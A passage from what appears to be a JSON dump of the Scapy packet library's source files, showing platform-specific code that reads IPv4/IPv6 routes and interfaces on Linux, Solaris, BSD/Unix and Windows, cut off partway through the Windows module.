            nlmsg_type=\"RTM_GETROUTE\",\n                    nlmsg_flags=\"NLM_F_REQUEST+NLM_F_ROOT+NLM_F_MATCH\",\n                    nlmsg_seq=int(time.time()),\n                )\n                / rtmsg(\n                    rtm_family=af_family,\n                    data=[\n                        rtmsg_rtattr(rta_type=\"RTA_TABLE\", rta_data=rttable),\n                    ],\n                )\n            )\n        )\n    return [msg for msg in results if msg.nlmsg_type == 24]  # RTM_NEWROUTE\n\n\ndef read_routes():\n    # type: () -> List[Tuple[int, int, str, str, str, int]]\n    \"\"\"\n    Read IPv4 routes for current process\n    \"\"\"\n    routes = []\n    ifaces = _get_if_list()\n    results = _read_routes(socket.AF_INET)\n    for msg in results:\n        # Omit stupid answers (some OS conf appears to lead to this)\n        if msg.rtm_family != socket.AF_INET:\n            continue\n        # Process the RTM_NEWROUTE\n        net = 0\n        mask = itom(msg.rtm_dst_len)\n        gw = \"0.0.0.0\"\n        iface = \"\"\n        addr = \"0.0.0.0\"\n        metric = 0\n        for attr in msg.data:\n            if attr.rta_type == 0x01:  # RTA_DST\n                net = atol(attr.rta_data)\n            elif attr.rta_type == 0x04:  # RTS_OIF\n                index = attr.rta_data\n                if index in ifaces:\n                    iface = ifaces[index][\"name\"]\n                else:\n                    iface = str(index)\n            elif attr.rta_type == 0x05:  # RTA_GATEWAY\n                gw = attr.rta_data\n            elif attr.rta_type == 0x06:  # RTA_PRIORITY\n                metric = attr.rta_data\n            elif attr.rta_type == 0x07:  # RTA_PREFSRC\n                addr = attr.rta_data\n        routes.append((net, mask, gw, iface, addr, metric))\n    # Add multicast routes, as those are missing by default\n    for _iface in ifaces.values():\n        if _iface['flags'].MULTICAST:\n            try:\n                addr = next(\n                    x[\"address\"]\n                    for x in _iface[\"ips\"]\n                    if x[\"af_family\"] == socket.AF_INET\n                )\n            except StopIteration:\n                continue\n            routes.append((\n                0xe0000000, 0xf0000000, \"0.0.0.0\", _iface[\"name\"], addr, 250\n            ))\n    return routes\n\n\ndef read_routes6():\n    # type: () -> List[Tuple[str, int, str, str, List[str], int]]\n    \"\"\"\n    Read IPv6 routes for current process\n    \"\"\"\n    routes = []\n    ifaces = _get_if_list()\n    results = _read_routes(socket.AF_INET6)\n    lifaddr = _get_ips(af_family=socket.AF_INET6)\n    for msg in results:\n        # Omit stupid answers (some OS conf appears to lead to this)\n        if msg.rtm_family != socket.AF_INET6:\n            continue\n        # Process the RTM_NEWROUTE\n        prefix = \"::\"\n        plen = msg.rtm_dst_len\n        nh = \"::\"\n        index = 0\n        iface = \"\"\n        metric = 0\n        for attr in msg.data:\n            if attr.rta_type == 0x01:  # RTA_DST\n                prefix = attr.rta_data\n            elif attr.rta_type == 0x04:  # RTS_OIF\n                index = attr.rta_data\n                if index in ifaces:\n                    iface = ifaces[index][\"name\"]\n                else:\n                    iface = str(index)\n            elif attr.rta_type == 0x05:  # RTA_GATEWAY\n                nh = attr.rta_data\n            elif attr.rta_type == 0x06:  # RTA_PRIORITY\n                metric = attr.rta_data\n        devaddrs = ((x[\"address\"], x[\"scope\"], iface) for x in lifaddr.get(index, []))\n        cset = scapy.utils6.construct_source_candidate_set(prefix, plen, devaddrs)\n        if cset:\n            routes.append((prefix, plen, nh, iface, cset, metric))\n    # Add multicast routes, as those are missing by default\n    for _iface in ifaces.values():\n        if _iface['flags'].MULTICAST:\n            addrs = [\n                x[\"address\"]\n                for x in _iface[\"ips\"]\n                if x[\"af_family\"] == socket.AF_INET6\n            ]\n            if not addrs:\n                continue\n            routes.append((\n                \"ff00::\", 8, \"::\", _iface[\"name\"], addrs, 250\n            ))\n    return routes\n"
  },
  {
    "path": "scapy/arch/solaris.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nCustomization for the Solaris operation system.\n\"\"\"\n\nimport socket\n\nfrom scapy.config import conf\nconf.use_pcap = True\n\n# IPPROTO_GRE is missing on Solaris\nsocket.IPPROTO_GRE = 47\n\n# From sys/sockio.h and net/if.h\nSIOCGIFHWADDR = 0xc02069b9  # Get hardware address\n\nfrom scapy.arch.common import get_if_raw_addr  # noqa: F401, F403, E402\nfrom scapy.arch.libpcap import *  # noqa: F401, F403, E402\nfrom scapy.arch.unix import *  # noqa: F401, F403, E402\n\nfrom scapy.interfaces import NetworkInterface  # noqa: E402\n\n\ndef get_working_if():\n    # type: () -> NetworkInterface\n    \"\"\"Return an interface that works\"\"\"\n    try:\n        # return the interface associated with the route with smallest\n        # mask (route by default if it exists)\n        iface = min(conf.route.routes, key=lambda x: x[1])[3]\n    except ValueError:\n        # no route\n        iface = conf.loopback_name\n    return conf.ifaces.dev_from_name(iface)\n"
  },
  {
    "path": "scapy/arch/unix.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nCommon customizations for all Unix-like operating systems other than Linux\n\"\"\"\n\nimport os\nimport socket\nimport struct\nfrom fcntl import ioctl\n\nimport scapy.config\nimport scapy.utils\nfrom scapy.config import conf\nfrom scapy.consts import FREEBSD, NETBSD, OPENBSD, SOLARIS\nfrom scapy.error import log_runtime, warning\nfrom scapy.pton_ntop import inet_pton\nfrom scapy.utils6 import in6_getscope, construct_source_candidate_set\nfrom scapy.utils6 import in6_isvalid, in6_ismlladdr, in6_ismnladdr\n\n# Typing imports\nfrom typing import (\n    List,\n    Optional,\n    Tuple,\n    Union,\n    cast,\n)\n\n\ndef get_if(iff, cmd):\n    # type: (str, int) -> bytes\n    \"\"\"Ease SIOCGIF* ioctl calls\"\"\"\n\n    sck = socket.socket()\n    try:\n        return ioctl(sck, cmd, struct.pack(\"16s16x\", iff.encode(\"utf8\")))\n    finally:\n        sck.close()\n\n\ndef get_if_raw_hwaddr(iff,  # type: str\n                      siocgifhwaddr=None,  # type: Optional[int]\n                      ):\n    # type: (...) -> Tuple[int, bytes]\n    \"\"\"Get the raw MAC address of a local interface.\n\n    This function uses SIOCGIFHWADDR calls, therefore only works\n    on some distros.\n\n    :param iff: the network interface name as a string\n    :returns: the corresponding raw MAC address\n    \"\"\"\n\n    if siocgifhwaddr is None:\n        from scapy.arch import SIOCGIFHWADDR\n        siocgifhwaddr = SIOCGIFHWADDR\n    return cast(\n        \"Tuple[int, bytes]\",\n        struct.unpack(\n            \"16xH6s8x\",\n            get_if(iff, siocgifhwaddr)\n        )\n    )\n\n\n##################\n#  Routes stuff  #\n##################\n\ndef _guess_iface_name(netif):\n    # type: (str) -> Optional[str]\n    \"\"\"\n    We attempt to guess the name of interfaces that are truncated from the\n    output of ifconfig -l.\n    If there is only one possible candidate matching the interface name then we\n    return it.\n    If there are none or more, then we return None.\n    \"\"\"\n    with os.popen('%s -l' % conf.prog.ifconfig) as fdesc:\n        ifaces = fdesc.readline().strip().split(' ')\n    matches = [iface for iface in ifaces if iface.startswith(netif)]\n    if len(matches) == 1:\n        return matches[0]\n    return None\n\n\ndef read_routes():\n    # type: () -> List[Tuple[int, int, str, str, str, int]]\n    \"\"\"Return a list of IPv4 routes than can be used by Scapy.\n\n    This function parses netstat.\n    \"\"\"\n    if SOLARIS:\n        f = os.popen(\"netstat -rvn -f inet\")\n    elif FREEBSD:\n        f = os.popen(\"netstat -rnW -f inet\")  # -W to show long interface names\n    else:\n        f = os.popen(\"netstat -rn -f inet\")\n    ok = 0\n    mtu_present = False\n    prio_present = False\n    refs_present = False\n    use_present = False\n    routes = []  # type: List[Tuple[int, int, str, str, str, int]]\n    pending_if = []  # type: List[Tuple[int, int, str]]\n    for line in f.readlines():\n        if not line:\n            break\n        line = line.strip().lower()\n        if line.find(\"----\") >= 0:  # a separation line\n            continue\n        if not ok:\n            if line.find(\"destination\") >= 0:\n                ok = 1\n                mtu_present = \"mtu\" in line\n                prio_present = \"prio\" in line\n                refs_present = \"ref\" in line  # There is no s on Solaris\n                use_present = \"use\" in line or \"nhop\" in line\n            continue\n        if not line:\n            break\n        rt = line.split()\n        if SOLARIS:\n            dest_, netmask_, gw, netif = rt[:4]\n            flg = rt[4 + mtu_present + refs_present]\n        else:\n            dest_, gw, flg = rt[:3]\n            locked = OPENBSD and rt[6] == \"l\"\n            offset = mtu_present + prio_present + refs_present + locked\n            offset += use_present\n            netif = rt[3 + offset]\n        if flg.find(\"lc\") >= 0:\n            continue\n        elif dest_ == \"default\":\n            dest = 0\n            netmask = 0\n        elif SOLARIS:\n            dest = scapy.utils.atol(dest_)\n            netmask = scapy.utils.atol(netmask_)\n        else:\n            if \"/\" in dest_:\n                dest_, netmask_ = dest_.split(\"/\")\n                netmask = scapy.utils.itom(int(netmask_))\n            else:\n                netmask = scapy.utils.itom((dest_.count(\".\") + 1) * 8)\n            dest_ += \".0\" * (3 - dest_.count(\".\"))\n            dest = scapy.utils.atol(dest_)\n        # XXX: TODO: add metrics for unix.py (use -e option on netstat)\n        metric = 1\n        if \"g\" not in flg:\n            gw = '0.0.0.0'\n        if netif is not None:\n            from scapy.arch import get_if_addr\n            try:\n                ifaddr = get_if_addr(netif)\n                if ifaddr == \"0.0.0.0\":\n                    # This means the interface name is probably truncated by\n                    # netstat -nr. We attempt to guess it's name and if not we\n                    # ignore it.\n                    guessed_netif = _guess_iface_name(netif)\n                    if guessed_netif is not None:\n                        ifaddr = get_if_addr(guessed_netif)\n                        netif = guessed_netif\n                    else:\n                        log_runtime.info(\n                            \"Could not guess partial interface name: %s\",\n                            netif\n                        )\n                routes.append((dest, netmask, gw, netif, ifaddr, metric))\n            except OSError:\n                raise\n        else:\n            pending_if.append((dest, netmask, gw))\n    f.close()\n\n    # On Solaris, netstat does not provide output interfaces for some routes\n    # We need to parse completely the routing table to route their gw and\n    # know their output interface\n    for dest, netmask, gw in pending_if:\n        gw_l = scapy.utils.atol(gw)\n        max_rtmask, gw_if, gw_if_addr = 0, None, None\n        for rtdst, rtmask, _, rtif, rtaddr, _ in routes[:]:\n            if gw_l & rtmask == rtdst:\n                if rtmask >= max_rtmask:\n                    max_rtmask = rtmask\n                    gw_if = rtif\n                    gw_if_addr = rtaddr\n        # XXX: TODO add metrics\n        metric = 1\n        if gw_if and gw_if_addr:\n            routes.append((dest, netmask, gw, gw_if, gw_if_addr, metric))\n        else:\n            warning(\"Did not find output interface to reach gateway %s\", gw)\n\n    return routes\n\n############\n#   IPv6   #\n############\n\n\ndef _in6_getifaddr(ifname):\n    # type: (str) -> List[Tuple[str, int, str]]\n    \"\"\"\n    Returns a list of IPv6 addresses configured on the interface ifname.\n    \"\"\"\n\n    # Get the output of ifconfig\n    try:\n        f = os.popen(\"%s %s\" % (conf.prog.ifconfig, ifname))\n    except OSError:\n        log_runtime.warning(\"Failed to execute ifconfig.\")\n        return []\n\n    # Iterate over lines and extract IPv6 addresses\n    ret = []\n    for line in f:\n        if \"inet6\" in line:\n            addr = line.rstrip().split(None, 2)[1]  # The second element is the IPv6 address  # noqa: E501\n        else:\n            continue\n        if '%' in line:  # Remove the interface identifier if present\n            addr = addr.split(\"%\", 1)[0]\n\n        # Check if it is a valid IPv6 address\n        try:\n            inet_pton(socket.AF_INET6, addr)\n        except (socket.error, ValueError):\n            continue\n\n        # Get the scope and keep the address\n        scope = in6_getscope(addr)\n        ret.append((addr, scope, ifname))\n\n    f.close()\n    return ret\n\n\ndef in6_getifaddr():\n    # type: () -> List[Tuple[str, int, str]]\n    \"\"\"\n    Returns a list of 3-tuples of the form (addr, scope, iface) where\n    'addr' is the address of scope 'scope' associated to the interface\n    'iface'.\n\n    This is the list of all addresses of all interfaces available on\n    the system.\n    \"\"\"\n\n    # List all network interfaces\n    if OPENBSD or SOLARIS:\n        if SOLARIS:\n            cmd = \"%s -a6\"\n        else:\n            cmd = \"%s\"\n        try:\n            f = os.popen(cmd % conf.prog.ifconfig)\n        except OSError:\n            log_runtime.warning(\"Failed to execute ifconfig.\")\n            return []\n\n        # Get the list of network interfaces\n        splitted_line = []\n        for line in f:\n            if \"flags\" in line:\n                iface = line.split()[0].rstrip(':')\n                splitted_line.append(iface)\n\n    else:  # FreeBSD, NetBSD or Darwin\n        try:\n            f = os.popen(\"%s -l\" % conf.prog.ifconfig)\n        except OSError:\n            log_runtime.warning(\"Failed to execute ifconfig.\")\n            return []\n\n        # Get the list of network interfaces\n        splitted_line = f.readline().rstrip().split()\n\n    ret = []\n    for i in splitted_line:\n        ret += _in6_getifaddr(i)\n    f.close()\n    return ret\n\n\ndef read_routes6():\n    # type: () -> List[Tuple[str, int, str, str, List[str], int]]\n    \"\"\"Return a list of IPv6 routes than can be used by Scapy.\n\n    This function parses netstat.\n    \"\"\"\n\n    # Call netstat to retrieve IPv6 routes\n    fd_netstat = os.popen(\"netstat -rn -f inet6\")\n\n    # List interfaces IPv6 addresses\n    lifaddr = in6_getifaddr()\n    if not lifaddr:\n        fd_netstat.close()\n        return []\n\n    # Routes header information\n    got_header = False\n    mtu_present = False\n    prio_present = False\n\n    # Parse the routes\n    routes = []\n    for line in fd_netstat.readlines():\n\n        # Parse the routes header and try to identify extra columns\n        if not got_header:\n            if \"Destination\" == line[:11]:\n                got_header = True\n                mtu_present = \"Mtu\" in line\n                prio_present = \"Prio\" in line\n            continue\n\n        # Parse a route entry according to the operating system\n        splitted_line = line.split()\n        if OPENBSD or NETBSD:\n            index = 5 + mtu_present + prio_present\n            if len(splitted_line) < index:\n                warning(\"Not enough columns in route entry !\")\n                continue\n            destination, next_hop, flags = splitted_line[:3]\n            dev = splitted_line[index]\n        else:\n            # FREEBSD or DARWIN\n            if len(splitted_line) < 4:\n                warning(\"Not enough columns in route entry !\")\n                continue\n            destination, next_hop, flags, dev = splitted_line[:4]\n\n        # XXX: TODO: add metrics for unix.py (use -e option on netstat)\n        metric = 1\n\n        # Check flags\n        if \"U\" not in flags:  # usable route\n            continue\n        if \"R\" in flags:  # Host or net unreachable\n            continue\n        if \"m\" in flags:  # multicast address\n            # Note: multicast routing is handled in Route6.route()\n            continue\n\n        # Replace link with the default route in next_hop\n        if \"link\" in next_hop:\n            next_hop = \"::\"\n\n        # Default prefix length\n        destination_plen = 128  # type: Union[int, str]\n\n        # Extract network interface from the zone id\n        if '%' in destination:\n            destination, dev = destination.split('%')\n            if '/' in dev:\n                # Example: fe80::%lo0/64 ; dev = \"lo0/64\"\n                dev, destination_plen = dev.split('/')\n        if '%' in next_hop:\n            next_hop, dev = next_hop.split('%')\n\n        # Ensure that the next hop is a valid IPv6 address\n        if not in6_isvalid(next_hop):\n            # Note: the 'Gateway' column might contain a MAC address\n            next_hop = \"::\"\n\n        # Modify parsed routing entries\n        # Note: these rules are OS specific and may evolve over time\n        if destination == \"default\":\n            destination, destination_plen = \"::\", 0\n        elif '/' in destination:\n            # Example: fe80::/10\n            destination, destination_plen = destination.split('/')\n        if '/' in dev:\n            # Example: ff02::%lo0/32 ; dev = \"lo0/32\"\n            dev, destination_plen = dev.split('/')\n\n        # Check route entries parameters consistency\n        if not in6_isvalid(destination):\n            warning(\"Invalid destination IPv6 address in route entry !\")\n            continue\n        try:\n            destination_plen = int(destination_plen)\n        except Exception:\n            warning(\"Invalid IPv6 prefix length in route entry !\")\n            continue\n        if in6_ismlladdr(destination) or in6_ismnladdr(destination):\n            # Note: multicast routing is handled in Route6.route()\n            continue\n\n        if conf.loopback_name in dev:\n            # Handle ::1 separately\n            cset = [\"::1\"]\n            next_hop = \"::\"\n        else:\n            # Get possible IPv6 source addresses\n            devaddrs = (x for x in lifaddr if x[2] == dev)\n            cset = construct_source_candidate_set(destination, destination_plen, devaddrs)  # noqa: E501\n\n        if len(cset):\n            routes.append((destination, destination_plen, next_hop, dev, cset, metric))  # noqa: E501\n\n    fd_netstat.close()\n    return routes\n"
  },
  {
    "path": "scapy/arch/windows/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nCustomizations needed to support Microsoft Windows.\n\"\"\"\n\nfrom glob import glob\nimport os\nimport platform as platform_lib\nimport socket\nimport struct\nimport subprocess as sp\nimport warnings\n\nimport winreg\n\nfrom scapy.arch.windows.structures import (\n    _windows_title,\n    GetAdaptersAddresses,\n    GetIpForwardTable,\n    GetIpForwardTable2,\n    get_service_status,\n)\nfrom scapy.consts import WINDOWS, WINDOWS_XP\nfrom scapy.config import conf, ProgPath\nfrom scapy.error import (\n    Scapy_Exception,\n    log_interactive,\n    log_loading,\n    log_runtime,\n    warning,\n)\nfrom scapy.interfaces import NetworkInterface, InterfaceProvider, \\\n    dev_from_index, resolve_iface, network_name\nfrom scapy.pton_ntop import inet_ntop\nfrom scapy.utils import atol, itom, str2mac\nfrom scapy.utils6 import construct_source_candidate_set, in6_getscope\nfrom scapy.compat import plain_str\nfrom scapy.supersocket import SuperSocket\n\n# re-export\nfrom scapy.arch.common import get_if_raw_addr  # noqa: F401\n\n# Typing imports\nfrom typing import (\n    Any,\n    Dict,\n    Iterator,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    Union,\n    cast,\n    overload,\n)\nfrom scapy.compat import Literal\n\nconf.use_pcap = True\n\n# These import must appear after setting conf.use_* variables\nfrom scapy.arch import libpcap  # noqa: E402\nfrom scapy.arch.libpcap import (  # noqa: E402\n    NPCAP_PATH,\n    PCAP_IF_UP,\n)\n\n# Detection happens after libpcap import (NPcap detection)\nNPCAP_LOOPBACK_NAME = r\"\\Device\\NPF_Loopback\"\nNPCAP_LOOPBACK_NAME_LEGACY = \"Npcap Loopback Adapter\"  # before npcap 0.9983\nif conf.use_npcap:\n    conf.loopback_name = NPCAP_LOOPBACK_NAME\nelse:\n    try:\n        if float(platform_lib.release()) >= 8.1:\n            conf.loopback_name = \"Microsoft KM-TEST Loopback Adapter\"\n        else:\n            conf.loopback_name = \"Microsoft Loopback Adapter\"\n    except ValueError:\n        conf.loopback_name = \"Microsoft Loopback Adapter\"\n\n# hot-patching socket for missing variables on Windows\nif not hasattr(socket, 'IPPROTO_IPIP'):\n    socket.IPPROTO_IPIP = 4  # type: ignore\nif not hasattr(socket, 'IP_RECVTTL'):\n    socket.IP_RECVTTL = 12  # type: ignore\nif not hasattr(socket, 'IPV6_HDRINCL'):\n    socket.IPV6_HDRINCL = 36  # type: ignore\n# https://github.com/python/cpython/issues/73701\nif not hasattr(socket, 'IPPROTO_IPV6'):\n    socket.IPPROTO_IPV6 = 41\nif not hasattr(socket, 'SOL_IPV6'):\n    socket.SOL_IPV6 = socket.IPPROTO_IPV6  # type: ignore\nif not hasattr(socket, 'IPPROTO_GRE'):\n    socket.IPPROTO_GRE = 47  # type: ignore\nif not hasattr(socket, 'IPPROTO_AH'):\n    socket.IPPROTO_AH = 51\nif not hasattr(socket, 'IPPROTO_ESP'):\n    socket.IPPROTO_ESP = 50\n\n_WlanHelper = NPCAP_PATH + \"\\\\WlanHelper.exe\"\n\n\ndef _encapsulate_admin(cmd):\n    # type: (str) -> str\n    \"\"\"Encapsulate a command with an Administrator flag\"\"\"\n    # To get admin access, we start a new powershell instance with admin\n    # rights, which will execute the command. This needs to be done from a\n    # powershell as we run it from a cmd.\n    # ! Behold !\n    return (\"powershell /command \\\"Start-Process cmd \"\n            \"-windowstyle hidden -Wait -PassThru -Verb RunAs \"\n            \"-ArgumentList '/c %s'\\\"\" % cmd)\n\n\ndef _get_npcap_config(param_key):\n    # type: (str) -> Optional[str]\n    \"\"\"\n    Get a Npcap parameter matching key in the registry.\n\n    List:\n    AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support\n    LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport\n    WinPcapCompatible\n    \"\"\"\n    hkey = winreg.HKEY_LOCAL_MACHINE\n    node = r\"SYSTEM\\CurrentControlSet\\Services\\npcap\\Parameters\"\n    try:\n        key = winreg.OpenKey(hkey, node)\n        dot11_adapters, _ = winreg.QueryValueEx(key, param_key)\n        winreg.CloseKey(key)\n    except WindowsError:\n        return None\n    return cast(str, dot11_adapters)\n\n\ndef _where(filename, dirs=None, env=\"PATH\"):\n    # type: (str, Optional[Any], str) -> str\n    \"\"\"Find file in current dir, in deep_lookup cache or in system path\"\"\"\n    if dirs is None:\n        dirs = []\n    if not isinstance(dirs, list):\n        dirs = [dirs]\n    if glob(filename):\n        return filename\n    paths = [os.curdir] + os.environ[env].split(os.path.pathsep) + dirs\n    try:\n        return next(os.path.normpath(match)\n                    for path in paths\n                    for match in glob(os.path.join(path, filename))\n                    if match)\n    except (StopIteration, RuntimeError):\n        raise IOError(\"File not found: %s\" % filename)\n\n\ndef win_find_exe(filename, installsubdir=None, env=\"ProgramFiles\"):\n    # type: (str, Optional[Any], str) -> str\n    \"\"\"Find executable in current dir, system path or in the\n    given ProgramFiles subdir, and retuen its absolute path.\n    \"\"\"\n    fns = [filename] if filename.endswith(\".exe\") else [filename + \".exe\", filename]  # noqa: E501\n    for fn in fns:\n        try:\n            if installsubdir is None:\n                path = _where(fn)\n            else:\n                path = _where(fn, dirs=[os.path.join(os.environ[env], installsubdir)])  # noqa: E501\n        except IOError:\n            path = None\n        else:\n            break\n    return path or \"\"\n\n\nclass WinProgPath(ProgPath):\n    def __init__(self):\n        # type: () -> None\n        self._reload()\n\n    def _reload(self):\n        # type: () -> None\n        self.pdfreader = \"\"\n        self.psreader = \"\"\n        self.svgreader = \"\"\n        # We try some magic to find the appropriate executables\n        self.dot = win_find_exe(\"dot\")\n        self.tcpdump = win_find_exe(\"windump\")\n        self.tshark = win_find_exe(\"tshark\")\n        self.tcpreplay = win_find_exe(\"tcpreplay\")\n        self.display = self._default\n        self.hexedit = win_find_exe(\"hexer\")\n        self.sox = win_find_exe(\"sox\")\n        self.wireshark = win_find_exe(\"wireshark\", \"wireshark\")\n        self.extcap_folders = [\n            os.path.join(os.environ.get(\"appdata\", \"\"), \"Wireshark\", \"extcap\"),\n            os.path.join(os.environ.get(\"programfiles\", \"\"), \"Wireshark\", \"extcap\"),\n        ]\n        self.powershell = win_find_exe(\n            \"powershell\",\n            installsubdir=\"System32\\\\WindowsPowerShell\\\\v1.0\",\n            env=\"SystemRoot\"\n        )\n        self.cmd = win_find_exe(\"cmd\", installsubdir=\"System32\",\n                                env=\"SystemRoot\")\n\n\ndef _exec_cmd(command):\n    # type: (str) -> Tuple[bytes, int]\n    \"\"\"Call a CMD command and return the output and returncode\"\"\"\n    proc = sp.Popen(command,\n                    stdout=sp.PIPE,\n                    shell=True)\n    res = proc.communicate()[0]\n    return res, proc.returncode\n\n\nconf.prog = WinProgPath()\n\nif conf.prog.tcpdump and conf.use_npcap:\n    def test_windump_npcap():\n        # type: () -> bool\n        \"\"\"Return whether windump version is correct or not\"\"\"\n        try:\n            p_test_windump = sp.Popen([conf.prog.tcpdump, \"-help\"], stdout=sp.PIPE, stderr=sp.STDOUT)  # noqa: E501\n            stdout, err = p_test_windump.communicate()\n            _windows_title()\n            _output = stdout.lower()\n            return b\"npcap\" in _output and b\"winpcap\" not in _output\n        except Exception:\n            return False\n    windump_ok = test_windump_npcap()\n    if not windump_ok:\n        log_loading.warning(\n            \"The installed Windump version does not work with Npcap! \"\n            \"Refer to 'Winpcap/Npcap conflicts' in scapy's installation doc\"\n        )\n    del windump_ok\n\n\ndef get_windows_if_list(extended=False):\n    # type: (bool) -> List[Dict[str, Any]]\n    \"\"\"Returns windows interfaces through GetAdaptersAddresses.\n\n    params:\n     - extended: include anycast and multicast IPv6 (default False)\"\"\"\n    # Should work on Windows XP+\n    def _get_mac(x):\n        # type: (Dict[str, Any]) -> str\n        size = x[\"physical_address_length\"]\n        if size != 6:\n            return \"\"\n        data = bytearray(x[\"physical_address\"])\n        return str2mac(bytes(data)[:size])\n\n    def _resolve_ips(y):\n        # type: (List[Dict[str, Any]]) -> List[str]\n        if not isinstance(y, list):\n            return []\n        ips = []\n        for ip in y:\n            addr = ip['address']['address'].contents\n            if addr.si_family == socket.AF_INET6:\n                ip_key = \"Ipv6\"\n                si_key = \"sin6_addr\"\n            else:\n                ip_key = \"Ipv4\"\n                si_key = \"sin_addr\"\n            data = getattr(addr, ip_key)\n            data = getattr(data, si_key)\n            data = bytes(bytearray(data.byte))\n            # Build IP\n            if data:\n                ips.append(inet_ntop(addr.si_family, data))\n        return ips\n\n    def _get_ips(x):\n        # type: (Dict[str, Any]) -> List[str]\n        unicast = x['first_unicast_address']\n        anycast = x['first_anycast_address']\n        multicast = x['first_multicast_address']\n\n        ips = []\n        ips.extend(_resolve_ips(unicast))\n        if extended:\n            ips.extend(_resolve_ips(anycast))\n            ips.extend(_resolve_ips(multicast))\n        return ips\n\n    return [\n        {\n            \"name\": plain_str(x[\"friendly_name\"]),\n            \"index\": x[\"interface_index\"],\n            \"description\": plain_str(x[\"description\"]),\n            \"guid\": plain_str(x[\"adapter_name\"]),\n            \"mac\": _get_mac(x),\n            \"type\": x[\"interface_type\"],\n            \"ipv4_metric\": 0 if WINDOWS_XP else x[\"ipv4_metric\"],\n            \"ipv6_metric\": 0 if WINDOWS_XP else x[\"ipv6_metric\"],\n            \"ips\": _get_ips(x),\n            \"nameservers\": _resolve_ips(x[\"first_dns_server_address\"])\n        } for x in GetAdaptersAddresses()\n    ]\n\n\ndef _pcapname_to_guid(pcap_name):\n    # type: (str) -> str\n    \"\"\"Converts a Winpcap/Npcap pcpaname to its guid counterpart.\n    e.g. \\\\DEVICE\\\\NPF_{...} => {...}\n    \"\"\"\n    if \"{\" in pcap_name:\n        return \"{\" + pcap_name.split(\"{\")[1]\n    return pcap_name\n\n\nclass NetworkInterface_Win(NetworkInterface):\n    \"\"\"A network interface of your local host\"\"\"\n\n    def __init__(self, provider, data=None):\n        # type: (WindowsInterfacesProvider, Optional[Dict[str, Any]]) -> None\n        self.cache_mode = None  # type: Optional[bool]\n        self.ipv4_metric = None  # type: Optional[int]\n        self.ipv6_metric = None  # type: Optional[int]\n        self.nameservers = []  # type: List[str]\n        self.guid = None  # type: Optional[str]\n        self.raw80211 = None  # type: Optional[bool]\n        super(NetworkInterface_Win, self).__init__(provider, data)\n\n    def update(self, data):\n        # type: (Dict[str, Any]) -> None\n        \"\"\"Update info about a network interface according\n        to a given dictionary. Such data is provided by get_windows_if_list\n        \"\"\"\n        # Populated early because used below\n        self.network_name = data['network_name']\n        # Windows specific\n        self.guid = data['guid']\n        self.ipv4_metric = data['ipv4_metric']\n        self.ipv6_metric = data['ipv6_metric']\n        self.nameservers = data['nameservers']\n\n        try:\n            # Npcap loopback interface\n            if conf.use_npcap and self.network_name == conf.loopback_name:\n                # https://nmap.org/npcap/guide/npcap-devguide.html\n                data[\"mac\"] = \"00:00:00:00:00:00\"\n                data[\"ip\"] = \"127.0.0.1\"\n                data[\"ip6\"] = \"::1\"\n                data[\"ips\"] = [\"127.0.0.1\", \"::1\"]\n        except KeyError:\n            pass\n        super(NetworkInterface_Win, self).update(data)\n\n    def _check_npcap_requirement(self):\n        # type: () -> None\n        if not conf.use_npcap:\n            raise OSError(\"This operation requires Npcap.\")\n        if self.raw80211 is None:\n            val = _get_npcap_config(\"Dot11Support\")\n            self.raw80211 = bool(int(val)) if val else False\n        if not self.raw80211:\n            raise Scapy_Exception(\"Npcap 802.11 support is NOT enabled !\")\n\n    def _npcap_set(self, key, val):\n        # type: (str, str) -> bool\n        \"\"\"Internal function. Set a [key] parameter to [value]\"\"\"\n        if self.guid is None:\n            raise OSError(\"Interface not setup\")\n        res, code = _exec_cmd(_encapsulate_admin(\n            \" \".join([_WlanHelper, self.guid[1:-1], key, val])\n        ))\n        _windows_title()  # Reset title of the window\n        if code != 0:\n            raise OSError(res.decode(\"utf8\", errors=\"ignore\"))\n        return True\n\n    def _npcap_get(self, key):\n        # type: (str) -> str\n        if self.guid is None:\n            raise OSError(\"Interface not setup\")\n        res, code = _exec_cmd(\" \".join([_WlanHelper, self.guid[1:-1], key]))\n        _windows_title()  # Reset title of the window\n        if code != 0:\n            raise OSError(res.decode(\"utf8\", errors=\"ignore\"))\n        return plain_str(res.strip())\n\n    def mode(self):\n        # type: () -> str\n        \"\"\"Get the interface operation mode.\n        Only available with Npcap.\"\"\"\n        self._check_npcap_requirement()\n        return self._npcap_get(\"mode\")\n\n    def ismonitor(self):\n        # type: () -> bool\n        \"\"\"Returns True if the interface is in monitor mode.\n        Only available with Npcap.\"\"\"\n        if self.cache_mode is not None:\n            return self.cache_mode\n        try:\n            res = (self.mode() == \"monitor\")\n            self.cache_mode = res\n            return res\n        except Scapy_Exception:\n            return False\n\n    def setmonitor(self, enable=True):\n        # type: (bool) -> bool\n        \"\"\"Alias for setmode('monitor') or setmode('managed')\n        Only available with Npcap\"\"\"\n        # We must reset the monitor cache\n        if enable:\n            res = self.setmode('monitor')\n        else:\n            res = self.setmode('managed')\n        if not res:\n            log_runtime.error(\"Npcap WlanHelper returned with an error code !\")\n        self.cache_mode = None\n        tmp = self.cache_mode = self.ismonitor()\n        return tmp if enable else (not tmp)\n\n    def availablemodes(self):\n        # type: () -> List[str]\n        \"\"\"Get all available interface modes.\n        Only available with Npcap.\"\"\"\n        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501\n        self._check_npcap_requirement()\n        return self._npcap_get(\"modes\").split(\",\")\n\n    def setmode(self, mode):\n        # type: (Union[str, int]) -> bool\n        \"\"\"Set the interface mode. It can be:\n        - 0 or managed: Managed Mode (aka \"Extensible Station Mode\")\n        - 1 or monitor: Monitor Mode (aka \"Network Monitor Mode\")\n        - 2 or master: Master Mode (aka \"Extensible Access Point\")\n              (supported from Windows 7 and later)\n        - 3 or 